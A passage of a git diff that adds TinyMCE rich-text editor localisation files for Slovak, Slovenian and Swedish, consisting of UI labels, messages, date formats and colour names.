\u0436\u0430\u0431\u044b","008080":"C\u0438\u043d\u0435-\u0437\u0435\u043b\u0435\u043d\u044b\u0439","0000FF":"\u0421\u0438\u043d\u0438\u0439","666699":"\u0421\u0435\u0440\u043e-\u0433\u043e\u043b\u0443\u0431\u043e\u0439","808080":"\u0421\u0435\u0440\u044b\u0439",FF0000:"\u041a\u0440\u0430\u0441\u043d\u044b\u0439",FF9900:"\u042f\u043d\u0442\u0430\u0440\u043d\u044b\u0439","99CC00":"\u0416\u0451\u043b\u0442\u043e-\u0437\u0435\u043b\u0451\u043d\u044b\u0439","339966":"\u0411\u0438\u0440\u044e\u0437\u043e\u0432\u044b\u0439","33CCCC":"\u042f\u0439\u0446\u0430 \u0434\u0440\u043e\u0437\u0434\u0430","3366FF":"\u041a\u043e\u0440\u043e\u043b\u0435\u0432\u0441\u043a\u0438\u0439 \u0441\u0438\u043d\u0438\u0439","800080":"\u0424\u0438\u043e\u043b\u0435\u0442\u043e\u0432\u043e-\u0431\u0430\u043a\u043b\u0430\u0436\u0430\u043d\u043d\u044b\u0439","999999":"\u041a\u0432\u0430\u0440\u0446\u0435\u0432\u044b\u0439",FF00FF:"\u041f\u0443\u0440\u043f\u0443\u0440\u043d\u044b\u0439",FFCC00:"\u0417\u043e\u043b\u043e\u0442\u043e\u0439",FFFF00:"\u0416\u0435\u043b\u0442\u044b\u0439","00FF00":"\u0417\u0435\u043b\u0435\u043d\u044b\u0439","00FFFF":"\u0426\u0438\u0430\u043d","00CCFF":"\u041d\u0435\u0431\u0435\u0441\u043d\u044b\u0439","993366":"\u0420\u043e\u0437\u043e\u0432\u0430\u0442\u043e-\u043b\u0438\u043b\u043e\u0432\u044b\u0439",C0C0C0:"\u0421\u0435\u0440\u0435\u0431\u0440\u0438\u0441\u0442\u044b\u0439",FF99CC:"\u0420\u043e\u0437\u043e\u0432\u044b\u0439",FFCC99:"\u041e\u0440\u0430\u043d\u0436\u0435\u0432\u043e-\u043f\u0435\u0440\u0441\u0438\u043a\u043e\u0432\u044b\u0439",FFFF99:"\u0412\u0435\u0440\u0434\u0435\u043f\u0435\u0448\u0435\u0432\u044b\u0439",CCFFCC:"\u0417\u0435\u043b\u0435\u043d\u043e\u0433\u043e \u0447\u0430\u044f",CCFFFF:"\u0411\u043b\u0435\u0434\u043d\u043e-\u0441\u0438\u043d\u0438\u0439","99CCFF":"\u0421\u0432\u0435\u0442\u043b\u043e-\u043d\u0435\u0431\u0435\u0441\u043d\u044b\u0439",CC99FF:"\u0424\u0438\u0430\u043b\u043a\u043e\u0432\u044b\u0439",FFFFFF:"\u0411\u0435\u043b\u044b\u0439"},aria:{"rich_text_area":"\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440"},wordcount:{words:"\u0421\u043b\u043e\u0432:"}}}); \ No newline at end of file diff --git a/js/tiny_mce/langs/sk.js b/js/tiny_mce/langs/sk.js new file mode 100755 index 0000000..a081879 --- /dev/null +++ b/js/tiny_mce/langs/sk.js @@ -0,0 +1 @@ +tinyMCE.addI18n({sk:{common:{"more_colors":"Viac farieb...","invalid_data":"Chyba: Boli zadan\u00e9 neplatn\u00e9 hodnoty a tieto boli ozna\u010den\u00e9 \u010dervenou farbou.","popup_blocked":"Blokovanie vyskakovac\u00edch okien neumo\u017enilo otvori\u0165 okno, ktor\u00e9 poskytuje funk\u010dnos\u0165 aplik\u00e1cie. Pre pln\u00e9 vyu\u017eitie mo\u017enost\u00ed aplik\u00e1cie mus\u00edte vypn\u00fa\u0165 blokovanie vyskakovac\u00edch okien pre tento web.","clipboard_no_support":"T\u00e1to funkcia nie je va\u0161\u00edm prehliada\u010dom podporovan\u00e1. Pou\u017eite namiesto toho kl\u00e1vesov\u00fa skratku.","clipboard_msg":"Funkcie kop\u00edrova\u0165/vystrihn\u00fa\u0165/vlo\u017ei\u0165 nie s\u00fa prehliada\u010dom Mozilla Firefox podporovan\u00e9.\nChcete viac inform\u00e1ci\u00ed o tomto probl\u00e9me?","not_set":"-- Nezadan\u00e9 --","class_name":"Trieda",browse:"Prech\u00e1dza\u0165",close:"Zavrie\u0165",cancel:"Storno",update:"Aktualizova\u0165",insert:"Vlo\u017ei\u0165",apply:"Pou\u017ei\u0165","edit_confirm":"Chcete pou\u017ei\u0165 WYSIWYG re\u017eim pre tento text?","invalid_data_number":"{#field} mus\u00ed by\u0165 \u010d\u00edslo","invalid_data_min":"{#field} mus\u00ed by\u0165 \u010d\u00edslo v\u00e4\u010d\u0161ie ako {#min}","invalid_data_size":"{#field} mus\u00ed by\u0165 \u010d\u00edslo lebo percento",value:"(hodnota)"},contextmenu:{full:"Do bloku",right:"Doprava",center:"Na stred",left:"Do\u013eava",align:"Zarovnanie"},insertdatetime:{"day_short":"Ne,Po,Ut,St,\u0160t,Pi,So,Ne","day_long":"Nede\u013ea,Pondelok,Utorok,Streda,\u0160tvrtok,Piatok,Sobota,Nede\u013ea","months_short":"Jan,Feb,Mar,Apr,M\u00e1j,J\u00fan,J\u00fal,Aug,Sep,Okt,Nov,Dec","months_long":"Janu\u00e1r,Febru\u00e1r,Marec,Apr\u00edl,M\u00e1j,J\u00fan,J\u00fal,August,September,Okt\u00f3ber,November,December","inserttime_desc":"Vlo\u017ei\u0165 \u010das","insertdate_desc":"Vlo\u017ei\u0165 d\u00e1tum","time_fmt":"%H:%M:%S","date_fmt":"%d.%m.%Y"},print:{"print_desc":"Tla\u010d"},preview:{"preview_desc":"N\u00e1h\u013ead"},directionality:{"rtl_desc":"Smer sprava do\u013eava","ltr_desc":"Smer z\u013eava doprava"},layer:{content:"Nov\u00e1 vrstva...","absolute_desc":"Prepn\u00fa\u0165 na absol\u00fatne poz\u00edciovanie","backward_desc":"Presun\u00fa\u0165 dozadu","forward_desc":"Presun\u00fa\u0165 dopredu","insertlayer_desc":"Vlo\u017ei\u0165 nov\u00fa vrstvu"},save:{"save_desc":"Ulo\u017ei\u0165","cancel_desc":"Zru\u0161i\u0165 v\u0161etky zmeny"},nonbreaking:{"nonbreaking_desc":"Vlo\u017ei\u0165 nerozdelite\u013en\u00fa medzeru"},iespell:{download:"Pr\u00edtomnos\u0165 slovn\u00edkaieSpell nebola zisten\u00e1. Chcete slovn\u00edk nain\u0161talova\u0165?","iespell_desc":"Spusti\u0165 kontrolu pravopisu"},advhr:{"advhr_desc":"Vodorovn\u00fd odde\u013eova\u010d","delta_height":"","delta_width":""},emotions:{"emotions_desc":"Emotikony","delta_height":"","delta_width":""},searchreplace:{"replace_desc":"H\u013eada\u0165 a nahradi\u0165","search_desc":"H\u013eada\u0165","delta_width":"","delta_height":""},advimage:{"delta_width":"40","image_desc":"Vlo\u017ei\u0165/upravi\u0165 obr\u00e1zok","delta_height":""},advlink:{"link_desc":"Vlo\u017ei\u0165/upravi\u0165 odkaz","delta_height":"","delta_width":""},xhtmlxtras:{"attribs_desc":"Vlo\u017ei\u0165/upravi\u0165 atrib\u00faty","ins_desc":"Pridan\u00fd text","del_desc":"Odstr\u00e1nen\u00fd text","acronym_desc":"Akronym","abbr_desc":"Skratka","cite_desc":"Cit\u00e1cia","attribs_delta_height":"","attribs_delta_width":"","ins_delta_height":"","ins_delta_width":"","del_delta_height":"","del_delta_width":"","acronym_delta_height":"","acronym_delta_width":"","abbr_delta_height":"","abbr_delta_width":"","cite_delta_height":"","cite_delta_width":""},style:{"delta_width":"35",desc:"Upravi\u0165 CSS \u0161t\u00fdl","delta_height":""},paste:{"plaintext_mode":"Funkcia vlo\u017ei\u0165 je teraz v re\u017eime prost\u00fd text. Op\u00e4tovn\u00e9 kliknutie prepne t\u00fato funkciu nasp\u00e4\u0165 do norm\u00e1lneho re\u017eimu.","plaintext_mode_sticky":"Funkcia vlo\u017ei\u0165 je teraz v re\u017eime prost\u00fd text. Op\u00e4tovn\u00e9 kliknutie prepne t\u00fato funkciu nasp\u00e4\u0165 do norm\u00e1lneho re\u017eimu. Po vlo\u017een\u00ed \u010dohoko\u013evek bude t\u00e1to funkcia navr\u00e1ten\u00e1 sp\u00e4\u0165 do norm\u00e1lneho re\u017eimu.","selectall_desc":"Ozna\u010di\u0165 v\u0161etko","paste_word_desc":"Vlo\u017ei\u0165 z MS Word","paste_text_desc":"Vlo\u017ei\u0165 ako prost\u00fd text"},"paste_dlg":{"word_title":"Pou\u017eite CTRL+V pre vlo\u017eenie textu do okna.","text_linebreaks":"Zachova\u0165 zalamovanie riadkov","text_title":"Pou\u017eite CTRL+V pre vlo\u017eenie textu do okna."},table:{"table_delta_width":"50","cellprops_delta_width":"105",cell:"Bunka",col:"St\u013apec",row:"Riadok",del:"Odstr\u00e1ni\u0165 tabu\u013eku","copy_row_desc":"Kop\u00edrova\u0165 riadok tabu\u013eky","cut_row_desc":"Vystrihn\u00fa\u0165 riadok tabu\u013eky","paste_row_after_desc":"Vlo\u017ei\u0165 riadok za","paste_row_before_desc":"Vlo\u017ei\u0165 riadok pred","props_desc":"Vlastnosti tabu\u013eky","cell_desc":"Vlastnosti bunky","row_desc":"Vlastnosti riadky tabu\u013eky","merge_cells_desc":"Zl\u00fa\u010di\u0165 bunky","split_cells_desc":"Rozdeli\u0165 bunky","delete_col_desc":"Odstr\u00e1ni\u0165 st\u013apec tabu\u013eky","col_after_desc":"Vlo\u017ei\u0165 st\u013apec za","col_before_desc":"Vlo\u017ei\u0165 st\u013apec pred","delete_row_desc":"Odstr\u00e1ni\u0165 riadok tabu\u013eky","row_after_desc":"Vlo\u017ei\u0165 riadok za","row_before_desc":"Vlo\u017ei\u0165 riadok pred",desc:"Vlo\u017ei\u0165 nov\u00fa tabu\u013eku","merge_cells_delta_height":"","merge_cells_delta_width":"","table_delta_height":"","cellprops_delta_height":"","rowprops_delta_height":"","rowprops_delta_width":""},autosave:{"warning_message":"Pokia\u013e obnov\u00edte ulo\u017een\u00fd obsah, strat\u00edte t\u00fdm v\u0161etok obsah, ktor\u00fd je pr\u00e1ve v okne editora.\n\nSkuto\u010dne chcete obnovi\u0165 ulo\u017een\u00fd obsah?","restore_content":"Obnovi\u0165 automaticky ulo\u017een\u00fd obsah.","unload_msg":"Preveden\u00e9 zmeny m\u00f4\u017eu by\u0165 straten\u00e9, ak opust\u00edte t\u00fato str\u00e1nku."},fullscreen:{desc:"Prepn\u00fa\u0165 na celostr\u00e1nkov\u00e9 zobrazenie"},media:{"delta_width":"180",edit:"Upravi\u0165 m\u00e9di\u00e1",desc:"Vlo\u017ei\u0165/upravi\u0165 m\u00e9di\u00e1","delta_height":""},fullpage:{desc:"Vlastnosti dokumentu","delta_width":"","delta_height":""},template:{desc:"Vlo\u017ei\u0165 preddefinovan\u00fd obsah zo \u0161abl\u00f3ny"},visualchars:{desc:"Zobrazenie skryt\u00fdch znakov zap/vyp"},spellchecker:{desc:"Prepn\u00fa\u0165 kontrolu pravopisu",menu:"Nastavenie kontroly pravopisu","ignore_word":"Vynecha\u0165 slovo","ignore_words":"Vynecha\u0165 v\u0161etky",langs:"Jazyky",wait:"\u010cakajte pros\u00edm...",sug:"Ponuky","no_sug":"\u017diadne ponuky","no_mpell":"Bez pravopisn\u00fdch ch\u00fdb.","learn_word":"Nau\u010di\u0165 slovo"},pagebreak:{desc:"Vlo\u017ei\u0165 zalomenie str\u00e1nky."},advlist:{types:"Typ",def:"Predvolen\u00fd","lower_alpha":"Mal\u00e9 p\u00edsmen\u00e1","lower_greek":"Mal\u00e9 gr\u00e9cke p\u00edsmen\u00e1","lower_roman":"Mal\u00e9 r\u00edmske \u010d\u00edslice","upper_alpha":"Ve\u013ek\u00e9 p\u00edsmen\u00e1","upper_roman":"Ve\u013ek\u00e9 r\u00edmske \u010d\u00edslice",circle:"Kr\u00fa\u017eok",disc:"Pln\u00e9 koliesko",square:"\u0160tvor\u010dek"},colors:{"333300":"Tmavo olivov\u00e1","993300":"Tmavo oran\u017eov\u00e1","000000":"\u010cierna","003300":"Tmavo zelen\u00e1","003366":"Tmavo az\u00farov\u00e1","000080":"N\u00e1morn\u00edcka modr\u00e1","333399":"Indigo modr\u00e1","333333":"Tmavo siv\u00e1","800000":"Tmavo \u010derven\u00e1",FF6600:"Oran\u017eov\u00e1","808000":"Olivov\u00e1","008000":"Zelen\u00e1","008080":"Modro zelen\u00e1","0000FF":"Modr\u00e1","666699":"\u0160edomodr\u00e1","808080":"Siv\u00e1",FF0000:"\u010cerven\u00e1",FF9900:"Jant\u00e1rov\u00e1","99CC00":"\u017dltozelen\u00e1","339966":"Morsky zelen\u00e1","33CCCC":"Tyrkysov\u00e1","3366FF":"Kr\u00e1\u013eovsk\u00e1 modr\u00e1","800080":"Purpurov\u00e1","999999":"Svetlo siv\u00e1",FF00FF:"Magentov\u00e1",FFCC00:"Zlat\u00e1",FFFF00:"\u017dlt\u00e1","00FF00":"Limetkov\u00e1","00FFFF":"Vodov\u00e1","00CCFF":"Nebesk\u00e1 modr\u00e1","993366":"Hned\u00e1",C0C0C0:"Strieborn\u00e1",FF99CC:"Ru\u017eov\u00e1",FFCC99:"Brosky\u0148ov\u00e1",FFFF99:"Svetlo\u017elt\u00e1",CCFFCC:"Svetlo zelen\u00e1",CCFFFF:"Svetlo az\u00farov\u00e1","99CCFF":"Svetl\u00e1 nebesk\u00e1 modr\u00e1",CC99FF:"Slivkov\u00e1",FFFFFF:"Biela"},aria:{"rich_text_area":"Oblas\u0165 s form\u00e1tovan\u00fdm textom"},wordcount:{words:"Po\u010det slov: "}}}); \ No newline at end of file diff --git a/js/tiny_mce/langs/sl.js b/js/tiny_mce/langs/sl.js new file mode 100755 index 0000000..26d858e --- /dev/null +++ b/js/tiny_mce/langs/sl.js @@ -0,0 +1 @@ +tinyMCE.addI18n({sl:{common:{"more_colors":"Ve\u010d barv","invalid_data":"Napaka: vne\u0161ene so bile nepravilne vrednosti, ozna\u010dene so z rde\u010do.","popup_blocked":"\u017dal va\u0161e orodje za prepre\u010devanje odpiranja neza\u017eelenih oken (popup-blocker) ne omogo\u010da prikaza pomo\u017enega okna izbranega orodja. Prepre\u010devanje odpiranja oken morate onemogo\u010diti.","clipboard_no_support":"Trenutno ni podporto v va\u0161em brskalniku. Uporabite bli\u017enjice tipkovnice.","clipboard_msg":"Delo z odlo\u017ei\u0161\u010dem ni mogo\u010de v tem brskalniku. Lahko uporabljate kombinacije tipk Ctrl+X, Ctrl+C, Ctrl+V.\n\u017delite ve\u010d informacij o tem?","not_set":"-- ni nastavljeno --","class_name":"Razred",browse:"Prebrskaj",close:"Zapri",cancel:"Prekli\u010di",update:"Posodobi",insert:"Vstavi",apply:"Uporabi","edit_confirm":"\u017delite uporabiti na\u010din \\\'videz ne vara\\\' (WYSIWYG) za to vnosno polje?","invalid_data_number":"{#field} mora biti veljavno \u0161tevilo","invalid_data_min":"{#field} mora biti ve\u010dje od {#min}","invalid_data_size":"{#field} mora biti \u0161tevilo ali odstotek",value:"(vrednost)"},contextmenu:{full:"Polno",right:"Desno",center:"Sredina",left:"Levo",align:"Poravnava"},insertdatetime:{"day_short":"ned,pon,tor,sre,\u010det,pet,sob,ned","day_long":"nedelja,ponedeljek,torek,sreda,\u010detrtek,petek,sobota,nedelja","months_short":"jan,feb,mar,apr,maj,jun,jul,avg,sep,okt,nov,dec","months_long":"januar,februar,marec,april,maj,junij,julij,avgust,september,oktober,november,december","inserttime_desc":"Vstavi \u010das","insertdate_desc":"Vstavi datum","time_fmt":"%H:%M:%S","date_fmt":"%d.%m.%Y"},print:{"print_desc":"Natisni"},preview:{"preview_desc":"Predogled"},directionality:{"rtl_desc":"Smer od desne proti levi","ltr_desc":"Smer od leve proti desni"},layer:{content:"Nov sloj...","absolute_desc":"Preklop absolutnega polo\u017eaja","backward_desc":"Premakni v ozadje","forward_desc":"Premakni v ospredje","insertlayer_desc":"Vstavi nov sloj"},save:{"save_desc":"Shrani","cancel_desc":"Prekli\u010di vse spremembe"},nonbreaking:{"nonbreaking_desc":"Vstavi nedeljivi presledek"},iespell:{download:"ieSpell ni zaznan. \u017delite, da ga namestim?","iespell_desc":"Za\u017eeni preverjanje \u010drkovanja"},advhr:{"delta_height":"spremeba_vi\u0161ine","delta_width":"sprememba_\u0161irine","advhr_desc":"Vodoravna \u010drta"},emotions:{"delta_height":"delta_vi\u0161ina","delta_width":"delta_\u0161irina","emotions_desc":"Sme\u0161ki"},searchreplace:{"replace_desc":"Najdi/zamenjaj","search_desc":"Najdi","delta_width":"","delta_height":""},advimage:{"image_desc":"Vstavi/uredi sliko","delta_width":"","delta_height":""},advlink:{"link_desc":"Vstavi/uredi povezavo","delta_height":"","delta_width":""},xhtmlxtras:{"attribs_desc":"Vstavi/uredi atribute","ins_desc":"Vstavljeno","del_desc":"Izbrisano","acronym_desc":"Kratica","abbr_desc":"Okraj\u0161ava","cite_desc":"Citat","attribs_delta_height":"","attribs_delta_width":"","ins_delta_height":"","ins_delta_width":"","del_delta_height":"","del_delta_width":"","acronym_delta_height":"","acronym_delta_width":"","abbr_delta_height":"","abbr_delta_width":"","cite_delta_height":"","cite_delta_width":""},style:{desc:"Uredi sloge CSS","delta_height":"","delta_width":""},paste:{"plaintext_mode":"Operacija prilepi je sedaj v na\u010dinu \"golo besedilo\". \u010ce jo \u017eelite vrniti v obi\u010dajen na\u010din, kliknite \u0161e enkrat.","plaintext_mode_sticky":"Operacija prilepi je sedaj v na\u010dinu \"golo besedilo\". \u010ce jo \u017eelite vrniti v obi\u010dajen na\u010din, kliknite \u0161e enkrat. Po izvedbi lepljenja se bo nastavitev povrnila v obi\u010dajen na\u010din.","selectall_desc":"Izberi vse","paste_word_desc":"Prilepi iz Word-a","paste_text_desc":"Prilepi kot golo besedilo"},"paste_dlg":{"word_title":"Uporabite kombinacijo tipk CTRL+V, da prilepite vsebino v okno.","text_linebreaks":"Obdr\u017ei prelome vrstic","text_title":"Uporabite kombinacijo tipk CTRL+V, da prilepite vsebino v okno."},table:{"cellprops_delta_width":"100",cell:"Celica",col:"Stolpec",row:"Vrstica",del:"Odstrani tabelo","copy_row_desc":"Kopiraj vrstico","cut_row_desc":"Izre\u017ei vrstico","paste_row_after_desc":"Prilepi vrstico po","paste_row_before_desc":"Prilepi vrstico pred","props_desc":"Lastnosti tabele","cell_desc":"Lastnosti celice","row_desc":"Lastnosti vrstice","merge_cells_desc":"Spoji celice","split_cells_desc":"Razcepi celico","delete_col_desc":"Odstrani stolpec","col_after_desc":"Vstavi stolpec po","col_before_desc":"Vstavi stolpec pred","delete_row_desc":"Odstrani vrstico","row_after_desc":"Vstavi vrstico pod","row_before_desc":"Vstavi vrstico nad",desc:"Vstavi/posodobi tabelo","merge_cells_delta_height":"","merge_cells_delta_width":"","table_delta_height":"","table_delta_width":"","cellprops_delta_height":"","rowprops_delta_height":"","rowprops_delta_width":""},autosave:{"warning_message":"\u010ce povrnete shranjeno vsebino, boste prepisali trenutno vsebino urejevalnika.nnSte prepri\u010dani, da \u017eelite nadaljevati?","restore_content":"Povrni na zadnje shranjeno vsebino.","unload_msg":"\u010ce nadaljujete, bodo spremembe izgubljene."},fullscreen:{desc:"Preklopi celozaslonski na\u010din"},media:{"delta_height":"delta_\u0161irina","delta_width":"delta_\u0161irina",edit:"Uredi multimedijsko vsebino",desc:"Vstavi / uredi multimedijsko vsebino"},fullpage:{desc:"Lastnosti dokumenta","delta_width":"sprememba_\u0161irine","delta_height":"sprememba_vi\u0161ine"},template:{desc:"Vstavi pripravljeno vsebino predloge"},visualchars:{desc:"Preklopi prikaz nadzornih znakov."},spellchecker:{desc:"Preklopi \u010drkovalnik",menu:"Nastavitve \u010drkovalnika","ignore_word":"Prezri besedo","ignore_words":"Prezri vse",langs:"Jeziki",wait:"Prosim po\u010dakaj...",sug:"Predlogi","no_sug":"Ni predlogov","no_mpell":"Napa\u010dnega \u010drkovanja nisem na\u0161el.","learn_word":"Zapomni si besedo"},pagebreak:{desc:"Vstavi lom strani."},advlist:{types:"Tipi",def:"Privzeto","lower_alpha":"Mali znaki","lower_greek":"Male gr\u0161ke \u010drke","lower_roman":"Male latinske \u010drke","upper_alpha":"Veliki znaki","upper_roman":"Velike latinske \u010drke",circle:"Krog",disc:"Disk",square:"Kvadrat"},colors:{"333300":"Temno olivna","993300":"Za\u017egano oran\u017ena","000000":"\u010crna","003300":"Temno zelena","003366":"Sinje temna","000080":"Mornarsko modra","333399":"Indigo","333333":"Zelo temno siva","800000":"Kostanjevo rde\u010da",FF6600:"Oran\u017ena","808000":"Olivna","008000":"Zelena","008080":"Temno sinje modra","0000FF":"Modra","666699":"Sivo modra","808080":"Siva",FF0000:"Rde\u010da",FF9900:"Jantarna","99CC00":"Rumeno zelena","339966":"Morsko zelena","33CCCC":"Turkizna","3366FF":"Kraljevsko modra","800080":"Vijoli\u010dna","999999":"Srednje siva",FF00FF:"Svetlo vijoli\u010dna",FFCC00:"Zlata",FFFF00:"Rumena","00FF00":"Citronsko zelena","00FFFF":"Akvarijsko modra","00CCFF":"Nebe\u0161ko modra","993366":"Rjava",C0C0C0:"Srebrna",FF99CC:"Roza",FFCC99:"Mareli\u010dna",FFFF99:"Svetlo rumena",CCFFCC:"Bledo zelena",CCFFFF:"Bledo turkizna","99CCFF":"Svetlo nebe\u0161ko modra",CC99FF:"Slivova",FFFFFF:"Bela"},aria:{"rich_text_area":"Polje z obogatenim besedilom"},wordcount:{words:"Besed:"}}}); \ No newline at end of file diff --git a/js/tiny_mce/langs/sv.js b/js/tiny_mce/langs/sv.js new file mode 100755 index 0000000..3ed9ba1 --- /dev/null +++ b/js/tiny_mce/langs/sv.js @@ -0,0 +1 @@ +tinyMCE.addI18n({sv:{common:{"more_colors":"Fler f\u00e4rger","invalid_data":"Fel: Inkorrekta v\u00e4rden har matats in, dessa \u00e4r markerade i r\u00f6tt.","popup_blocked":"Popup blockerare detekterad. St\u00e4ng av den s\u00e5 att dialogerna kan \u00f6ppnas.","clipboard_no_support":"Funktionen \u00e4r inte tillg\u00e4nglig i din webbl\u00e4sare, anv\u00e4nd tangentbordsgenv\u00e4garna i st\u00e4llet.","clipboard_msg":"Kopiera/klipp ut/klistra in \u00e4r inte tillg\u00e4ngligt i din webbl\u00e4sare.\nVill du veta mer?","not_set":"-- Inte satt --","class_name":"Klass",browse:"Bl\u00e4ddra",close:"St\u00e4ng",cancel:"Avbryt",update:"Uppdatera",insert:"Infoga",apply:"Applicera","edit_confirm":"Vill du anv\u00e4nda WYSIWYG f\u00f6r denna textarea?","invalid_data_number":"{#field} m\u00e5ste vara ett nummer","invalid_data_min":"{#field} m\u00e5ste vara ett nummer st\u00f6rren \u00e4n {#min}","invalid_data_size":"{#field} m\u00e5ste vara ett nummer eller i procent",value:"(V\u00e4rde)"},contextmenu:{full:"Utfyllnad",right:"H\u00f6ger",center:"Centrerad",left:"V\u00e4nster",align:"Justering"},insertdatetime:{"day_short":"S\u00f6n,M\u00e5n,Tis,Ons,Tors,Fre,L\u00f6r,S\u00f6n","day_long":"S\u00f6ndag,M\u00e5ndag,Tisdag,Onsdag,Torsdag,Fredag,L\u00f6rdag,S\u00f6ndag","months_short":"Jan,Feb,Mar,Apr,Maj,Jun,Jul,Aug,Sep,Okt,Nov,Dec","months_long":"Januari,Februari,Mars,April,Maj,Juni,Juli,Augusti,September,Oktober,November,December","inserttime_desc":"Infoga tid","insertdate_desc":"Infoga datum","time_fmt":"%H:%M:%S","date_fmt":"%Y-%m-%d "},print:{"print_desc":"Skriv ut"},preview:{"preview_desc":"F\u00f6rhandsgranska"},directionality:{"rtl_desc":"Skriftl\u00e4ge - h\u00f6ger till v\u00e4nster","ltr_desc":"Skriftl\u00e4ge - v\u00e4nster till h\u00f6ger"},layer:{content:"Nytt lager...","absolute_desc":"Sl\u00e5 av/p\u00e5 absolut positionering","backward_desc":"Flytta bak\u00e5t","forward_desc":"Flytta fram\u00e5t","insertlayer_desc":"Infoga nytt lager"},save:{"save_desc":"Spara","cancel_desc":"Hoppa \u00f6ver alla f\u00f6r\u00e4ndringar"},nonbreaking:{"nonbreaking_desc":"Infoga icke radbrytande mellanslag"},iespell:{download:"ieSpell kunde inte hittas, vill du installera denna nu?","iespell_desc":"R\u00e4ttstava"},advhr:{"advhr_desc":"Horisontell skiljelinje","delta_height":"","delta_width":""},emotions:{"emotions_desc":"Smileys","delta_height":"","delta_width":""},searchreplace:{"replace_desc":"S\u00f6k/ers\u00e4tt","search_desc":"S\u00f6k","delta_width":"","delta_height":""},advimage:{"image_desc":"Infoga/redigera bild","delta_width":"","delta_height":""},advlink:{"link_desc":"Infoga/redigera l\u00e4nk","delta_height":"","delta_width":""},xhtmlxtras:{"attribs_desc":"Redigera attribut","ins_desc":"Markera som tillagt","del_desc":"Markera som struket","acronym_desc":"Akronym","abbr_desc":"F\u00f6rkortning","cite_desc":"citat","attribs_delta_height":"","attribs_delta_width":"","ins_delta_height":"","ins_delta_width":"","del_delta_height":"","del_delta_width":"","acronym_delta_height":"","acronym_delta_width":"","abbr_delta_height":"","abbr_delta_width":"","cite_delta_height":"","cite_delta_width":""},style:{desc:"Redigera inline CSS","delta_height":"","delta_width":""},paste:{"plaintext_mode":"Inklistring \u00e4r nu i textl\u00e4ge.","plaintext_mode_sticky":"Inklistring \u00e4r nu i textl\u00e4ge. Efter att du klistrat in kommer den att \u00e5terg\u00e5 till normall\u00e4ge.","selectall_desc":"Markera allt","paste_word_desc":"Klistra in fr\u00e5n Word","paste_text_desc":"Klistra in som text"},"paste_dlg":{"word_title":"Anv\u00e4nd ctrl-v p\u00e5 ditt tangentbord f\u00f6r att klistra in i detta f\u00f6nster.","text_linebreaks":"Spara radbrytningar","text_title":"Anv\u00e4nd ctrl-v p\u00e5 ditt tangentbord f\u00f6r att klistra in i detta f\u00f6nster."},table:{cell:"Cell",col:"Kolumn",row:"Rad",del:"Radera tabell","copy_row_desc":"Klistra in rad","cut_row_desc":"Klipp ut rad","paste_row_after_desc":"Klistra in rad efter","paste_row_before_desc":"Klistra in rad ovanf\u00f6r","props_desc":"Tabellinst\u00e4llningar","cell_desc":"Tabellcellsinst\u00e4llningar","row_desc":"Tabellradsinst\u00e4llningar","merge_cells_desc":"Sammanfoga celler","split_cells_desc":"Separera sammansatta celler","delete_col_desc":"Radera kolumn","col_after_desc":"Infoga kolumn efter","col_before_desc":"Infoga kolumn f\u00f6re","delete_row_desc":"Radera rad","row_after_desc":"Infoga ny rad efter","row_before_desc":"Infoga ny rad f\u00f6re",desc:"Infoga/redigera ny tabell","merge_cells_delta_height":"","merge_cells_delta_width":"","table_delta_height":"","table_delta_width":"","cellprops_delta_height":"","cellprops_delta_width":"","rowprops_delta_height":"","rowprops_delta_width":""},autosave:{"warning_message":"Om du \u00e5terskapar inneh\u00e5ll s\u00e5 kommer det nuvarande inneh\u00e5llet i f\u00e4ltet att raderas.\n\n\u00c4r du s\u00e4ker p\u00e5 att du vill g\u00f6ra detta?","restore_content":"\u00c5terskapa automatiskt sparat inneh\u00e5ll.","unload_msg":"De f\u00f6r\u00e4ndringar som du gjort kommer att g\u00e5 f\u00f6rlorade om du l\u00e4mnar sidan."},fullscreen:{desc:"Sl\u00e5 av/p\u00e5 fullsk\u00e4rmsl\u00e4ge"},media:{edit:"Redigera inb\u00e4ddad media",desc:"Infoga/redigera inb\u00e4ddad media","delta_height":"","delta_width":""},fullpage:{desc:"Dokumentinst\u00e4llningar","delta_width":"","delta_height":""},template:{desc:"Infoga en f\u00e4rdig mall"},visualchars:{desc:"Visa osynliga tecken"},spellchecker:{desc:"Sl\u00e5 av/p\u00e5 r\u00e4ttstavningskontroll",menu:"R\u00e4ttstavningsinst\u00e4llningar","ignore_word":"Ignorera ord","ignore_words":"Ignorera alla",langs:"Spr\u00e5k",wait:"Var god v\u00e4nta...",sug:"F\u00f6rslag","no_sug":"Inga f\u00f6rslag","no_mpell":"Inga felstavningar funna.","learn_word":"L\u00e4r ord"},pagebreak:{desc:"Infoga sidbrytning"},advlist:{types:"Typer",def:"Default","lower_alpha":"Lower alpha","lower_greek":"Lower greek","lower_roman":"Lower roman","upper_alpha":"Upper alpha","upper_roman":"Upper roman",circle:"Cirkel",disc:"Disc",square:"Fyrkant"},colors:{"333300":"M\u00f6rkoliv","993300":"Br\u00e4ndorange","000000":"Svart","003300":"M\u00f6rkgr\u00f6n","003366":"M\u00f6rkazur","000080":"Marinbl\u00e5","333399":"Indigo","333333":"Mycket m\u00f6rkgr\u00e5","800000":"R\u00f6dbrun",FF6600:"Orange","808000":"Oliv","008000":"Gr\u00f6n","008080":"Kricka","0000FF":"Bl\u00e5","666699":"Gr\u00e5bl\u00e5","808080":"Gr\u00e5",FF0000:"R\u00f6d",FF9900:"B\u00e4rnsten","99CC00":"Gulgr\u00f6n","339966":"Havsbl\u00e5","33CCCC":"Turkos","3366FF":"Kungligtbl\u00e5tt","800080":"Lila","999999":"Medelgr\u00e5",FF00FF:"Magenta",FFCC00:"Guld",FFFF00:"Gul","00FF00":"Lime","00FFFF":"Vatten","00CCFF":"Himmelsbl\u00e5","993366":"Brun",C0C0C0:"Silver",FF99CC:"Rosa",FFCC99:"Periska",FFFF99:"Ljusgul",CCFFCC:"Blekgr\u00f6n",CCFFFF:"Blekcyan","99CCFF":"Ljus himmel",CC99FF:"Plommon",FFFFFF:"Vitt"},aria:{"rich_text_area":"Redigeringsarea"},wordcount:{words:"Ord:"}}}); \ No newline at end of file diff --git a/js/tiny_mce/langs/th.js b/js/tiny_mce/langs/th.js new file mode 100755 index 0000000..73b113a --- /dev/null +++ b/js/tiny_mce/langs/th.js @@ -0,0 +1 @@ 